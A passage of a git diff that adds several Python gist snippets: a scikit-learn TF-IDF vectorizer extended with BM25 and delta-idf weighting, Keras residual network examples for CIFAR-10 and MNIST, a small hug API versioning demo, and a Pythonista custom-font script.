tokenizer + self.analyzer = analyzer + self.lowercase = lowercase + self.token_pattern = token_pattern + self.stop_words = stop_words + self.max_df = max_df + self.min_df = min_df + if max_df < 0 or min_df < 0: + raise ValueError("negative value for max_df of min_df") + self.max_features = max_features + if max_features is not None: + if (not isinstance(max_features, numbers.Integral) or + max_features <= 0): + raise ValueError( + "max_features=%r, neither a positive integer nor None" + % max_features) + self.ngram_range = ngram_range + self.vocabulary = vocabulary + self.binary = binary + self.dtype = dtype + + def _sort_features(self, X, vocabulary): + """Sort features by name + + Returns a reordered matrix and modifies the vocabulary in place + """ + sorted_features = sorted(six.iteritems(vocabulary)) + map_index = np.empty(len(sorted_features), dtype=np.int32) + for new_val, (term, old_val) in enumerate(sorted_features): + map_index[new_val] = old_val + vocabulary[term] = new_val + return X[:, map_index] + + def _limit_features(self, X, vocabulary, high=None, low=None, + limit=None): + """Remove too rare or too common features. + + Prune features that are non zero in more samples than high or less + documents than low, modifying the vocabulary, and restricting it to + at most the limit most frequent. + + This does not prune samples with zero features. + """ + if high is None and low is None and limit is None: + return X, set() + + # Calculate a mask based on document frequencies + dfs = _document_frequency(X) + tfs = np.asarray(X.sum(axis=0)).ravel() + mask = np.ones(len(dfs), dtype=bool) + if high is not None: + mask &= dfs <= high + if low is not None: + mask &= dfs >= low + if limit is not None and mask.sum() > limit: + mask_inds = (-tfs[mask]).argsort()[:limit] + new_mask = np.zeros(len(dfs), dtype=bool) + new_mask[np.where(mask)[0][mask_inds]] = True + mask = new_mask + + new_indices = np.cumsum(mask) - 1 # maps old indices to new + removed_terms = set() + for term, old_index in list(six.iteritems(vocabulary)): + if mask[old_index]: + vocabulary[term] = new_indices[old_index] + else: + del vocabulary[term] + removed_terms.add(term) + kept_indices = np.where(mask)[0] + if len(kept_indices) == 0: + raise ValueError("After pruning, no terms remain. Try a lower" + " min_df or a higher max_df.") + return X[:, kept_indices], removed_terms + + def _count_vocab(self, raw_documents, fixed_vocab): + """Create sparse feature matrix, and vocabulary where fixed_vocab=False + """ + if fixed_vocab: + vocabulary = self.vocabulary_ + else: + # Add a new value when a new vocabulary item is seen + vocabulary = defaultdict() + vocabulary.default_factory = vocabulary.__len__ + + analyze = self.build_analyzer() + j_indices = _make_int_array() + indptr = _make_int_array() + indptr.append(0) + for doc in raw_documents: + for feature in analyze(doc): + try: + j_indices.append(vocabulary[feature]) + except KeyError: + # Ignore out-of-vocabulary items for fixed_vocab=True + continue + indptr.append(len(j_indices)) + + if not fixed_vocab: + # disable defaultdict behaviour + vocabulary = dict(vocabulary) + if not vocabulary: + raise ValueError("empty vocabulary; perhaps the documents only" + " contain stop words") + + # some Python/Scipy versions won't accept an array.array: + if j_indices: + j_indices = np.frombuffer(j_indices, dtype=np.intc) + else: + j_indices = np.array([], dtype=np.int32) + indptr = np.frombuffer(indptr, dtype=np.intc) + values = np.ones(len(j_indices)) + + X = sp.csr_matrix((values, j_indices, indptr), + shape=(len(indptr) - 1, len(vocabulary)), + dtype=self.dtype) + X.sum_duplicates() + return vocabulary, X + + def fit(self, raw_documents, y=None): + """Learn a vocabulary dictionary of all tokens in the raw documents. + + Parameters + ---------- + raw_documents : iterable + An iterable which yields either str, unicode or file objects. + + Returns + ------- + self + """ + self.fit_transform(raw_documents) + return self + + def fit_transform(self, raw_documents, y=None): + """Learn the vocabulary dictionary and return term-document matrix. + + This is equivalent to fit followed by transform, but more efficiently + implemented. + + Parameters + ---------- + raw_documents : iterable + An iterable which yields either str, unicode or file objects. + + Returns + ------- + X : array, [n_samples, n_features] + Document-term matrix. + """ + # We intentionally don't call the transform method to make + # fit_transform overridable without unwanted side effects in + # TfidfVectorizer. + self._check_vocabulary() + max_df = self.max_df + min_df = self.min_df + max_features = self.max_features + + vocabulary, X = self._count_vocab(raw_documents, + self.fixed_vocabulary_) + + if self.binary: + X.data.fill(1) + + if not self.fixed_vocabulary_: + X = self._sort_features(X, vocabulary) + + n_doc = X.shape[0] + max_doc_count = (max_df + if isinstance(max_df, numbers.Integral) + else max_df * n_doc) + min_doc_count = (min_df + if isinstance(min_df, numbers.Integral) + else min_df * n_doc) + if max_doc_count < min_doc_count: + raise ValueError( + "max_df corresponds to < documents than min_df") + X, self.stop_words_ = self._limit_features(X, vocabulary, + max_doc_count, + min_doc_count, + max_features) + + self.vocabulary_ = vocabulary + + return X + + def transform(self, raw_documents): + """Transform documents to document-term matrix. + + Extract token counts out of raw text documents using the vocabulary + fitted with fit or the one provided to the constructor. + + Parameters + ---------- + raw_documents : iterable + An iterable which yields either str, unicode or file objects. + + Returns + ------- + X : sparse matrix, [n_samples, n_features] + Document-term matrix. + """ + if not hasattr(self, 'vocabulary_'): + self._check_vocabulary() + + if not hasattr(self, 'vocabulary_') or len(self.vocabulary_) == 0: + raise ValueError("Vocabulary wasn't fitted or is empty!") + + # use the same matrix-building strategy as fit_transform + _, X = self._count_vocab(raw_documents, fixed_vocab=True) + if self.binary: + X.data.fill(1) + return X + + def inverse_transform(self, X): + """Return terms per document with nonzero entries in X. + + Parameters + ---------- + X : {array, sparse matrix}, shape = [n_samples, n_features] + + Returns + ------- + X_inv : list of arrays, len = n_samples + List of arrays of terms. + """ + if sp.issparse(X): + # We need CSR format for fast row manipulations. + X = X.tocsr() + else: + # We need to convert X to a matrix, so that the indexing + # returns 2D objects + X = np.asmatrix(X) + n_samples = X.shape[0] + + terms = np.array(list(self.vocabulary_.keys())) + indices = np.array(list(self.vocabulary_.values())) + inverse_vocabulary = terms[np.argsort(indices)] + + return [inverse_vocabulary[X[i, :].nonzero()[1]].ravel() + for i in range(n_samples)] + + def get_feature_names(self): + """Array mapping from feature integer indices to feature name""" + if not hasattr(self, 'vocabulary_') or len(self.vocabulary_) == 0: + raise ValueError("Vocabulary wasn't fitted or is empty!") + + return [t for t, i in sorted(six.iteritems(self.vocabulary_), + key=itemgetter(1))] + + +def _make_int_array(): + """Construct an array.array of a type suitable for scipy.sparse indices.""" + return array.array(str("i")) + + +class TfidfTransformer(BaseEstimator, TransformerMixin): + """Transform a count matrix to a normalized tf or tf-idf representation + + Tf means term-frequency while tf-idf means term-frequency times inverse + document-frequency. This is a common term weighting scheme in information + retrieval, that has also found good use in document classification. + + The goal of using tf-idf instead of the raw frequencies of occurrence of a + token in a given document is to scale down the impact of tokens that occur + very frequently in a given corpus and that are hence empirically less + informative than features that occur in a small fraction of the training + corpus. + + The actual formula used for tf-idf is tf * (idf + 1) = tf + tf * idf, + instead of tf * idf. The effect of this is that terms with zero idf, i.e. + that occur in all documents of a training set, will not be entirely + ignored. The formulas used to compute tf and idf depend on parameter + settings that correspond to the SMART notation used in IR, as follows: + + Tf is "n" (natural) by default, "l" (logarithmic) when sublinear_tf=True. + Idf is "t" when use_idf is given, "n" (none) otherwise. + Normalization is "c" (cosine) when norm='l2', "n" (none) when norm=None. + + Parameters + ---------- + norm : 'l1', 'l2' or None, optional + Norm used to normalize term vectors. None for no normalization. + + use_idf : boolean, optional + Enable inverse-document-frequency reweighting. + + smooth_idf : boolean, optional + Smooth idf weights by adding one to document frequencies, as if an + extra document was seen containing every term in the collection + exactly once. Prevents zero divisions. + + sublinear_tf : boolean, optional + Apply sublinear tf scaling, i.e. replace tf with 1 + log(tf). + + References + ---------- + + .. [Yates2011] `R. Baeza-Yates and B. Ribeiro-Neto (2011). Modern + Information Retrieval. Addison Wesley, pp. 68-74.` + + .. [MRS2008] `C.D. Manning, P. Raghavan and H. Schuetze (2008). + Introduction to Information Retrieval. Cambridge University + Press, pp. 118-120.` + """ + + def __init__(self, norm='l2', use_idf=True, use_bm25idf=False, smooth_idf=True, + delta_idf=False, sublinear_tf=False, bm25_tf=False): + self.norm = norm + self.use_idf = use_idf + self.use_bm25idf = use_bm25idf + self.smooth_idf = smooth_idf + # Required for delta idf's + self.delta_idf = delta_idf + + self.sublinear_tf = sublinear_tf + self.bm25_tf = bm25_tf + self.k = 1.2 + self.b = 0.95 + + def fit(self, X, y=None): + """Learn the idf vector (global term weights) + + Parameters + ---------- + X : sparse matrix, [n_samples, n_features] + a matrix of term/token counts + """ + if not sp.issparse(X): + X = sp.csc_matrix(X) + + if self.use_idf: + n_samples, n_features = X.shape + + # BM25 idf + if self.use_bm25idf: + if self.delta_idf: + if y is None: + raise ValueError("Labels are needed to determine Delta idf") + + N1, df1, N2, df2 = _class_frequencies(X, y) + delta_bm25idf = np.log(((N1 - df1 + 0.5) * df2 + 0.5) / ((N2 - df2 + 0.5) * df1 + 0.5)) + self._idf_diag = sp.spdiags(delta_bm25idf, + diags=0, m=n_features, n=n_features) + else: + # vanilla bm25 idf + df = _document_frequency(X) + + # perform idf smoothing if required + df += int(self.smooth_idf) + n_samples += int(self.smooth_idf) + + # log1p instead of log makes sure terms with zero idf don't get + # suppressed entirely + + bm25idf = np.log((n_samples - df + 0.5) / (df + 0.5)) + self._idf_diag = sp.spdiags(bm25idf, + diags=0, m=n_features, n=n_features) + + # Vanilla idf + elif self.delta_idf: + if y is None: + raise ValueError("Labels are needed to determine Delta idf") + + N1, df1, N2, df2 = _class_frequencies(X, y) + delta_idf = np.log((df1 * float(N2) + int(self.smooth_idf)) / + (df2 * N1 + int(self.smooth_idf))) + + # Maybe scale delta_idf to only positive values (for Naive Bayes, etc) ? + self._idf_diag = sp.spdiags(delta_idf, + diags=0, m=n_features, n=n_features) + + else: + df = _document_frequency(X) + + # perform idf smoothing if required + df += int(self.smooth_idf) + n_samples += int(self.smooth_idf) + + # log1p instead of log makes sure terms with zero idf don't get + # suppressed entirely + idf = np.log(float(n_samples) / df) + 1.0 + self._idf_diag = sp.spdiags(idf, + diags=0, m=n_features, n=n_features) + + + return self + + def transform(self, X, copy=True): + """Transform a count matrix to a tf or tf-idf representation + + Parameters + ---------- + X : sparse matrix, [n_samples, n_features] + a matrix of term/token counts + + Returns + ------- + vectors : sparse matrix, [n_samples, n_features] + """ + if hasattr(X, 'dtype') and np.issubdtype(X.dtype, np.float): + # preserve float family dtype + X = sp.csr_matrix(X, copy=copy) + else: + # convert counts or binary occurrences to floats + X = sp.csr_matrix(X, dtype=np.float64, copy=copy) + + n_samples, n_features = X.shape + + if self.bm25_tf: + + # First calculate the denominator of BM25 equation + # Sum the frequencies (sum of each row) to get the documents lengths + D = (X.sum(1) / np.average(X.sum(1))).reshape((n_samples, 1)) + D = ((1 - self.b) + self.b * D) * self.k + # D = sp.csr_matrix(np.multiply(np.ones((n_samples,n_features)),D)) + D_X = _add_sparse_column(X,D) + + # Then perform the main division + # ...Find a better way to add a numpy ndarray to a sparse matrix + np.divide(X.data * (self.k + 1), D_X.data, X.data) + # np.divide(X.data * (self.k + 1), sp.csr_matrix(np.add(X.todense(), D)).data, X.data) + + elif self.sublinear_tf: + np.log(X.data, X.data) + X.data += 1 + + if self.use_idf: + if not hasattr(self, "_idf_diag"): + raise ValueError("idf vector not fitted") + expected_n_features = self._idf_diag.shape[0] + if n_features != expected_n_features: + raise ValueError("Input has n_features=%d while the model" + " has been trained with n_features=%d" % ( + n_features, expected_n_features)) + # *= doesn't work + X = X * self._idf_diag + + if self.norm: + X = normalize(X, norm=self.norm, copy=False) + + return X + + @property + def idf_(self): + if hasattr(self, "_idf_diag"): + return np.ravel(self._idf_diag.sum(axis=0)) + else: + return None + + +class TfidfVectorizer(CountVectorizer): + """Convert a collection of raw documents to a matrix of TF-IDF features. + + Equivalent to CountVectorizer followed by TfidfTransformer. + + Parameters + ---------- + input : string {'filename', 'file', 'content'} + If 'filename', the sequence passed as an argument to fit is + expected to be a list of filenames that need reading to fetch + the raw content to analyze. + + If 'file', the sequence items must have a 'read' method (file-like + object) that is called to fetch the bytes in memory. + + Otherwise the input is expected to be the sequence strings or + bytes items are expected to be analyzed directly. + + encoding : string, 'utf-8' by default. + If bytes or files are given to analyze, this encoding is used to + decode. + + decode_error : {'strict', 'ignore', 'replace'} + Instruction on what to do if a byte sequence is given to analyze that + contains characters not of the given `encoding`. By default, it is + 'strict', meaning that a UnicodeDecodeError will be raised. Other + values are 'ignore' and 'replace'. + + strip_accents : {'ascii', 'unicode', None} + Remove accents during the preprocessing step. + 'ascii' is a fast method that only works on characters that have + an direct ASCII mapping. + 'unicode' is a slightly slower method that works on any characters. + None (default) does nothing. + + analyzer : string, {'word', 'char'} or callable + Whether the feature should be made of word or character n-grams. + + If a callable is passed it is used to extract the sequence of features + out of the raw, unprocessed input. + + preprocessor : callable or None (default) + Override the preprocessing (string transformation) stage while + preserving the tokenizing and n-grams generation steps. + + tokenizer : callable or None (default) + Override the string tokenization step while preserving the + preprocessing and n-grams generation steps. + + ngram_range : tuple (min_n, max_n) + The lower and upper boundary of the range of n-values for different + n-grams to be extracted. All values of n such that min_n <= n <= max_n + will be used. + + stop_words : string {'english'}, list, or None (default) + If a string, it is passed to _check_stop_list and the appropriate stop + list is returned. 'english' is currently the only supported string + value. + + If a list, that list is assumed to contain stop words, all of which + will be removed from the resulting tokens. + + If None, no stop words will be used. max_df can be set to a value + in the range [0.7, 1.0) to automatically detect and filter stop + words based on intra corpus document frequency of terms. + + lowercase : boolean, default True + Convert all characters to lowercase before tokenizing. + + token_pattern : string + Regular expression denoting what constitutes a "token", only used + if `analyzer == 'word'`. The default regexp selects tokens of 2 + or more alphanumeric characters (punctuation is completely ignored + and always treated as a token separator). + + max_df : float in range [0.0, 1.0] or int, optional, 1.0 by default + When building the vocabulary ignore terms that have a term frequency + strictly higher than the given threshold (corpus specific stop words). + If float, the parameter represents a proportion of documents, integer + absolute counts. + This parameter is ignored if vocabulary is not None. + + min_df : float in range [0.0, 1.0] or int, optional, 1 by default + When building the vocabulary ignore terms that have a term frequency + strictly lower than the given threshold. + This value is also called cut-off in the literature. + If float, the parameter represents a proportion of documents, integer + absolute counts. + This parameter is ignored if vocabulary is not None. + + max_features : optional, None by default + If not None, build a vocabulary that only consider the top + max_features ordered by term frequency across the corpus. + + This parameter is ignored if vocabulary is not None. + + vocabulary : Mapping or iterable, optional + Either a Mapping (e.g., a dict) where keys are terms and values are + indices in the feature matrix, or an iterable over terms. If not + given, a vocabulary is determined from the input documents. + + binary : boolean, False by default. + If True, all non-zero term counts are set to 1. This does not mean + outputs will have only 0/1 values, only that the tf term in tf-idf + is binary. (Set idf and normalization to False to get 0/1 outputs.) + + dtype : type, optional + Type of the matrix returned by fit_transform() or transform(). + + norm : 'l1', 'l2' or None, optional + Norm used to normalize term vectors. None for no normalization. + + use_idf : boolean, optional + Enable inverse-document-frequency reweighting. + + smooth_idf : boolean, optional + Smooth idf weights by adding one to document frequencies, as if an + extra document was seen containing every term in the collection + exactly once. Prevents zero divisions. + + sublinear_tf : boolean, optional + Apply sublinear tf scaling, i.e. replace tf with 1 + log(tf). + + Attributes + ---------- + idf_ : array, shape = [n_features], or None + The learned idf vector (global term weights) + when ``use_idf`` is set to True, None otherwise. + + See also + -------- + CountVectorizer + Tokenize the documents and count the occurrences of token and return + them as a sparse matrix + + TfidfTransformer + Apply Term Frequency Inverse Document Frequency normalization to a + sparse matrix of occurrence counts. + + """ + + def __init__(self, input='content', encoding='utf-8', + decode_error='strict', strip_accents=None, lowercase=True, + preprocessor=None, tokenizer=None, analyzer='word', + stop_words=None, token_pattern=r"(?u)\b\w\w+\b", + ngram_range=(1, 1), max_df=1.0, min_df=1, + max_features=None, vocabulary=None, binary=False, + dtype=np.int64, norm='l2', use_idf=True, use_bm25idf = False, + smooth_idf=True, delta_idf=False, sublinear_tf=False, bm25_tf=False): + super(TfidfVectorizer, self).__init__( + input=input, encoding=encoding, decode_error=decode_error, + strip_accents=strip_accents, lowercase=lowercase, + preprocessor=preprocessor, tokenizer=tokenizer, analyzer=analyzer, + stop_words=stop_words, token_pattern=token_pattern, + ngram_range=ngram_range, max_df=max_df, min_df=min_df, + max_features=max_features, vocabulary=vocabulary, binary=binary, + dtype=dtype) + + self._tfidf = TfidfTransformer(norm=norm, use_idf=use_idf, + use_bm25idf=use_bm25idf, + smooth_idf=smooth_idf, + delta_idf=delta_idf, + sublinear_tf=sublinear_tf, + bm25_tf=bm25_tf) + + # Broadcast the TF-IDF parameters to the underlying transformer instance + # for easy grid search and repr + + @property + def norm(self): + return self._tfidf.norm + + @norm.setter + def norm(self, value): + self._tfidf.norm = value + + @property + def use_idf(self): + return self._tfidf.use_idf + + @use_idf.setter + def use_idf(self, value): + self._tfidf.use_idf = value + + @property + def smooth_idf(self): + return self._tfidf.smooth_idf + + @smooth_idf.setter + def smooth_idf(self, value): + self._tfidf.smooth_idf = value + + @property + def sublinear_tf(self): + return self._tfidf.sublinear_tf + + @sublinear_tf.setter + def sublinear_tf(self, value): + self._tfidf.sublinear_tf = value + + @property + def idf_(self): + return self._tfidf.idf_ + + def fit(self, raw_documents, y=None): + """Learn vocabulary and idf from training set. + + Parameters + ---------- + raw_documents : iterable + an iterable which yields either str, unicode or file objects + + Returns + ------- + self : TfidfVectorizer + """ + X = super(TfidfVectorizer, self).fit_transform(raw_documents) + self._tfidf.fit(X) + return self + + def fit_transform(self, raw_documents, y=None): + """Learn vocabulary and idf, return term-document matrix. + + This is equivalent to fit followed by transform, but more efficiently + implemented. + + Parameters + ---------- + raw_documents : iterable + an iterable which yields either str, unicode or file objects + + Returns + ------- + X : sparse matrix, [n_samples, n_features] + Tf-idf-weighted document-term matrix. + """ + X = super(TfidfVectorizer, self).fit_transform(raw_documents) + self._tfidf.fit(X,y) + # X is already a transformed view of raw_documents so + # we set copy to False + return self._tfidf.transform(X, copy=False) + + def transform(self, raw_documents, copy=True): + """Transform documents to document-term matrix. + + Uses the vocabulary and document frequencies (df) learned by fit (or + fit_transform). + + Parameters + ---------- + raw_documents : iterable + an iterable which yields either str, unicode or file objects + + Returns + ------- + X : sparse matrix, [n_samples, n_features] + Tf-idf-weighted document-term matrix. + """ + X = super(TfidfVectorizer, self).transform(raw_documents) + return self._tfidf.transform(X, copy=False) + diff --git a/hard-gists/0ba0270279a0f38280423754cea2ee1e/._snippet.py b/hard-gists/0ba0270279a0f38280423754cea2ee1e/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0ba0270279a0f38280423754cea2ee1e/._snippet.py differ diff --git a/hard-gists/0ba0270279a0f38280423754cea2ee1e/snippet.py b/hard-gists/0ba0270279a0f38280423754cea2ee1e/snippet.py new file mode 100644 index 00000000..3ab34f51 --- /dev/null +++ b/hard-gists/0ba0270279a0f38280423754cea2ee1e/snippet.py @@ -0,0 +1,150 @@ +from __future__ import print_function + +from keras.datasets import cifar10 +from keras.layers import merge, Input +from keras.layers.convolutional import Convolution2D, ZeroPadding2D, AveragePooling2D +from keras.layers.core import Dense, Activation, Flatten, Dropout +from keras.layers.normalization import BatchNormalization +from keras.models import Model +from keras.preprocessing.image import ImageDataGenerator +from keras.utils import np_utils + +batch_size = 128 +nb_classes = 10 +nb_epoch = 200 +data_augmentation = False +n = 4 # depth = 6*n + 4 +k = 4 # widen factor + +# the CIFAR10 images are 32x32 RGB with 10 labels +img_rows, img_cols = 32, 32 +img_channels = 3 + + +def bottleneck(incoming, count, nb_in_filters, nb_out_filters, dropout=None, subsample=(2, 2)): + outgoing = wide_basic(incoming, nb_in_filters, nb_out_filters, dropout, subsample) + for i in range(1, count): + outgoing = wide_basic(outgoing, nb_out_filters, nb_out_filters, dropout, subsample=(1, 1)) + + return outgoing + + +def wide_basic(incoming, nb_in_filters, nb_out_filters, dropout=None, subsample=(2, 2)): + nb_bottleneck_filter = nb_out_filters + + if nb_in_filters == nb_out_filters: + # conv3x3 + y = BatchNormalization(mode=0, axis=1)(incoming) + y = Activation('relu')(y) + y = ZeroPadding2D((1, 1))(y) + y = Convolution2D(nb_bottleneck_filter, nb_row=3, nb_col=3, + subsample=subsample, init='he_normal', border_mode='valid')(y) + + # conv3x3 + y = BatchNormalization(mode=0, axis=1)(y) + y = Activation('relu')(y) + if dropout is not None: + y = Dropout(dropout)(y) + y = ZeroPadding2D((1, 1))(y) + y = Convolution2D(nb_bottleneck_filter, nb_row=3, nb_col=3, + subsample=(1, 1), init='he_normal', border_mode='valid')(y) + + return merge([incoming, y], mode='sum') + + else: # Residual Units for increasing dimensions + # common BN, ReLU + shortcut = BatchNormalization(mode=0, axis=1)(incoming) + shortcut = Activation('relu')(shortcut) + + # conv3x3 + y = ZeroPadding2D((1, 1))(shortcut) + y = Convolution2D(nb_bottleneck_filter, nb_row=3, nb_col=3, + subsample=subsample, init='he_normal', border_mode='valid')(y) + + # conv3x3 + y = BatchNormalization(mode=0, axis=1)(y) + y = Activation('relu')(y) + if dropout is not None: + y = Dropout(dropout)(y) + y = ZeroPadding2D((1, 1))(y) + y = Convolution2D(nb_out_filters, nb_row=3, nb_col=3, + subsample=(1, 1), init='he_normal', border_mode='valid')(y) + + # shortcut + shortcut = Convolution2D(nb_out_filters, nb_row=1, nb_col=1, + subsample=subsample, init='he_normal', border_mode='same')(shortcut) + + return merge([shortcut, y], mode='sum') + + +# the data, shuffled and split between train and test sets +(X_train, y_train), (X_test, y_test) = cifar10.load_data() +print('X_train shape:', X_train.shape) +print(X_train.shape[0], 'train samples') +print(X_test.shape[0], 'test samples') + +# convert class vectors to binary class matrices +Y_train = np_utils.to_categorical(y_train, nb_classes) +Y_test = np_utils.to_categorical(y_test, nb_classes) + +img_input = Input(shape=(img_channels, img_rows, img_cols)) + +# one conv at the beginning (spatial size: 32x32) +x = ZeroPadding2D((1, 1))(img_input) +x = Convolution2D(16, nb_row=3, nb_col=3)(x) + +# Stage 1 (spatial size: 32x32) +x = bottleneck(x, n, 16, 16 * k, dropout=0.3, subsample=(1, 1)) +# Stage 2 (spatial size: 16x16) +x = bottleneck(x, n, 16 * k, 32 * k, dropout=0.3, subsample=(2, 2)) +# Stage 3 (spatial size: 8x8) +x = bottleneck(x, n, 32 * k, 64 * k, dropout=0.3, subsample=(2, 2)) + +x = BatchNormalization(mode=0, axis=1)(x) +x = Activation('relu')(x) +x = AveragePooling2D((8, 8), strides=(1, 1))(x) +x = Flatten()(x) +preds = Dense(nb_classes, activation='softmax')(x) + +model = Model(input=img_input, output=preds) +model.compile(optimizer='adam', loss='categorical_crossentropy', + metrics=['accuracy']) + +X_train = X_train.astype('float32') +X_test = X_test.astype('float32') +X_train /= 255 +X_test /= 255 + +if not data_augmentation: + print('Not using data augmentation.') + model.fit(X_train, Y_train, + batch_size=batch_size, + nb_epoch=nb_epoch, + validation_data=(X_test, Y_test), + shuffle=True) +else: + print('Using real-time data augmentation.') + + # this will do preprocessing and realtime data augmentation + datagen = ImageDataGenerator( + featurewise_center=False, # set input mean to 0 over the dataset + samplewise_center=False, # set each sample mean to 0 + featurewise_std_normalization=False, # divide inputs by std of the dataset + samplewise_std_normalization=False, # divide each input by its std + zca_whitening=False, # apply ZCA whitening + rotation_range=0, # randomly rotate images in the range (degrees, 0 to 180) + width_shift_range=0.1, # randomly shift images horizontally (fraction of total width) + height_shift_range=0.1, # randomly shift images vertically (fraction of total height) + horizontal_flip=True, # randomly flip images + vertical_flip=False) # randomly flip images + + # compute quantities required for featurewise normalization + # (std, mean, and principal components if ZCA whitening is applied) + datagen.fit(X_train) + + # fit the model on the batches generated by datagen.flow() + model.fit_generator(datagen.flow(X_train, Y_train, + batch_size=batch_size), + samples_per_epoch=X_train.shape[0], + nb_epoch=nb_epoch, + validation_data=(X_test, Y_test)) diff --git a/hard-gists/0bc7d313e7a84b708374/._snippet.py b/hard-gists/0bc7d313e7a84b708374/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0bc7d313e7a84b708374/._snippet.py differ diff --git a/hard-gists/0bc7d313e7a84b708374/snippet.py b/hard-gists/0bc7d313e7a84b708374/snippet.py new file mode 100644 index 00000000..072fb5c6 --- /dev/null +++ b/hard-gists/0bc7d313e7a84b708374/snippet.py @@ -0,0 +1,18 @@ + +"""A simple example of a hug API call with versioning""" +import hug + + +@hug.get('/echo', versions=1) +def echo(text): + return text + + +@hug.get('/echo', versions=range(2, 5)) +def echo(text): + return 'Echo: {text}'.format(**locals()) + + +@hug.get('/unversioned') +def hello(): + return 'Hello world!' \ No newline at end of file diff --git a/hard-gists/0bdd7059a08cbcd00898/._snippet.py b/hard-gists/0bdd7059a08cbcd00898/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0bdd7059a08cbcd00898/._snippet.py differ diff --git a/hard-gists/0bdd7059a08cbcd00898/snippet.py b/hard-gists/0bdd7059a08cbcd00898/snippet.py new file mode 100644 index 00000000..6a2f0ecc --- /dev/null +++ b/hard-gists/0bdd7059a08cbcd00898/snippet.py @@ -0,0 +1,91 @@ +""" +Possibly correct implementation of an all conv neural network using a single residual module + +This code was written for instruction purposes and no attempt to get the best results were made. + +References: +Deep Residual Learning for Image Recognition: http://arxiv.org/pdf/1512.03385v1.pdf +STRIVING FOR SIMPLICITY, THE ALL CONVOLUTIONAL NET: http://arxiv.org/pdf/1412.6806v3.pdf + +A video walking through the code and main ideas: https://youtu.be/-N_zlfKo4Ec +""" + +from __future__ import print_function +import numpy as np +np.random.seed(1337) # for reproducibility + +from keras.datasets import mnist +from keras.models import Graph +from keras.layers.core import Dense, Dropout, Activation, Flatten +from keras.layers.convolutional import Convolution2D, AveragePooling2D +from keras.utils import np_utils + +batch_size = 128 +nb_classes = 10 +nb_epoch = 12 + +# input image dimensions +img_rows, img_cols = 28, 28 +# number of convolutional filters to use +nb_filters = 64 +# size of pooling area for max pooling +nb_pool = 2 +# convolution kernel size +nb_conv = 3 + +# the data, shuffled and split between train and test sets +(X_train, y_train), (X_test, y_test) = mnist.load_data() + +X_train = X_train.reshape(X_train.shape[0], 1, img_rows, img_cols) +X_test = X_test.reshape(X_test.shape[0], 1, img_rows, img_cols) +X_train = X_train.astype('float32') +X_test = X_test.astype('float32') +X_train /= 255 +X_test /= 255 +print('X_train shape:', X_train.shape) +print(X_train.shape[0], 'train samples') +print(X_test.shape[0], 'test samples') + +# convert class vectors to binary class matrices +Y_train = np_utils.to_categorical(y_train, nb_classes) +Y_test = np_utils.to_categorical(y_test, nb_classes) + +#################################################### +# Define Model +#################################################### +model = Graph() + +model.add_input(input_shape=(1, 28, 28), name="0") + +# first piece +model.add_node(Convolution2D( + nb_filters, nb_conv, nb_conv, input_shape=(1, img_rows, img_cols), activation="relu"), name="1", input="0") +model.add_node(Convolution2D( + nb_filters, nb_conv, nb_conv, activation="relu"), name="2", input="1") +model.add_node(Convolution2D( + nb_filters, nb_conv, nb_conv, subsample=(2, 2), activation="relu"), name="X", input="2") + +model.compile(loss={"out": 'categorical_crossentropy'}, optimizer='adam') +model.fit({"0": X_train, "out": Y_train}, nb_epoch=5, show_accuracy=True) + +# residual module +# batch_norm +model.add_node(Convolution2D(nb_filters, nb_conv, nb_conv, + activation="relu", border_mode="same"), name="r1", input="X") +# batch_norm +model.add_node(Convolution2D(nb_filters, nb_conv, nb_conv, + activation="relu", border_mode="same"), name="r2", input="r1") + +# add layer_3 + residual_module +model.add_node(Convolution2D( + nb_filters, nb_conv, nb_conv, subsample=(2, 2), activation="relu"), + name="3", inputs=["X", "r2"], merge_mode="sum") + +# classifier +model.add_node(Convolution2D(10, nb_conv, nb_conv, activation="linear"), name="4", input="3") + +out_size = model.nodes["4"].output_shape[-1] # thanks shape inference +model.add_node(AveragePooling2D((out_size, out_size)), + name="pool", input="4") +model.add_node(Flatten(), name="flat", input="pool") +model.add_node(Activation("softmax"), name="out", input="flat", create_output=True) \ No newline at end of file diff --git a/hard-gists/0c01b7a27e512db480847fac2cc54103/._snippet.py b/hard-gists/0c01b7a27e512db480847fac2cc54103/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0c01b7a27e512db480847fac2cc54103/._snippet.py differ diff --git a/hard-gists/0c01b7a27e512db480847fac2cc54103/snippet.py b/hard-gists/0c01b7a27e512db480847fac2cc54103/snippet.py new file mode 100644 index 00000000..920c5587 --- /dev/null +++ b/hard-gists/0c01b7a27e512db480847fac2cc54103/snippet.py @@ -0,0 +1,57 @@ +""" +Use custom fonts in the editor + +Usage: https://forum.omz-software.com/topic/3419/share-code-custom-editor-font +""" + +__author__ = "Lukas Kollmer" +__copyright__ = "Copyright (c) 2016 Lukas Kollmer" + +from objc_util import * +from ctypes import * + + +CTFontManagerRegisterFontsForURL = c.CTFontManagerRegisterFontsForURL +CTFontManagerRegisterFontsForURL.argtypes = [c_void_p, c_int, c_void_p] +CTFontManagerRegisterFontsForURL.restype = c_bool + +CFURLCreateWithString = c.CFURLCreateWithString +CFURLCreateWithString.argtypes = [c_void_p, c_void_p, c_void_p] +CFURLCreateWithString.restype = c_void_p + + + +def load_custom_font(file): + #https://marco.org/2012/12/21/ios-dynamic-font-loading + font_url = CFURLCreateWithString(None, ns(file), None) + + error = c_void_p(None) + # This returns false, but still succeds + CTFontManagerRegisterFontsForURL(ObjCInstance(font_url), 0, byref(error)) + +def set_editor_font(name, size=15): + """ + NOTE: This still requires a restart + """ + defaults = ObjCClass("NSUserDefaults").standardUserDefaults() + defaults.setObject_forKey_(name, "EditorFontName") + defaults.setObject_forKey_(size, "EditorFontSize") + + defaults.synchronize() + +def reset_custom_font(): + defaults = ObjCClass("NSUserDefaults").standardUserDefaults() + defaults.setObject_forKey_("Menlo-Regular", "EditorFontName") + defaults.setObject_forKey_(15, "EditorFontSize") + + +if __name__ == "__main__": + import os + font_path = "file://" + os.path.expanduser("~/Documents/Fonts/SFMono/SFMono-Regular.otf") + + load_custom_font(font_path) + + font_name = "Menlo-Regular" + set_editor_font(font_name, 15) + + \ No newline at end of file diff --git a/hard-gists/0c10e910e514832b7103/._snippet.py b/hard-gists/0c10e910e514832b7103/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files 